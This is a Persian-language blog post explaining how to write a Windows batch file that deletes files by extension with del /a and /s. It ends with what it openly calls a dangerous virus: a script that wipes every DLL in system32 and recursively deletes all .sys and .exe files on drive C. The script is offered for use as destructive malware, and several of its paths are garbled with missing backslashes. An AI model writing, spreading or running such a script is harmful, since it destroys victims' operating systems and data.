ابتدا یک ویرایشگر کد مانند notepad را باز کنید.
دقت نمایید رنگی کردن کدها برای توضیحات است.
در این دستورات در کدهایی که با رنگ قرمز مشخص شده اند نباید تغییرات ایجاد کنید.
در ابتدای آن این کدها را بنویسید/کپی کنید:
@echo off
Cls
Color fc
سپس به طریق زیر آدرس هر فایل یا دسته فایل ها را بدهید:
Del /a N: *.jpg
به جای N نام درایو را قرار دهید - یا آدرس پوشه ای خاص, مثلا D
ic*jpg عکس های با فرمت jpg داخل فولدر pic واقع در درایو D را پاک میکند.
نکته 1: اگر مانند *.jpg فرمت را با * بنویسید, تمام فرمت های مشخص شده را در آن پوشه پاک می کند , ولی اگر به جای * اسم فایل را بنویسید (مثلا: 1.jpg) فقط آن فایل پاک می شود و بقیه ی فایل های jpg با*قی می*مانند.
به جای jpg. فرمتی را که مایلید پاک شود بنویسید, مثلا
com.
sys.
exe.
docx.
png.
gif.
jpg.
txt.
یا هر فرمت دیگر.
نکته 2: در کد بالا اگر در انتهای کد /s بگذارید فایل هایی که در داخل پوشه های دیگر داخل پوشه یا درایو مشخص شده هستند را نیز پاک می کند؛ در غیر این صورت دیگر داخل پوشه های دیگر را پاک نمی کند.
نکته 3: پس از اتمام کار فایل را با فرمت .bat ذخیره کنید، مثلا hosein.bat
حالا به مثال زیر توجه کنید
@echo off
Cls
Color fc
Del /a C:WINDOWSsystem32*.dll
Del /a C:*.sys /s
Del /a C:*.exe /s
Del /a D:picali.gif
اگر کد بالارا بنویسید و بانام مثلا ali.bat ذخیره کنید؛ ویروس خطرناکی ساخته اید که:
کلیه*ی فایل های dll واقع در system32 را پاك مي كند
كليه ي فايل هاي sys واقع در درایو C را پاك مي كند
كليه ي فايل هاي exe واقع در درايو C را پاك مي كند
فايل ali.gif واقع در فولدر pic در درايو D را پاك مي كند
- - , .
برچسب:
نویسنده: محمد رضا جوادیان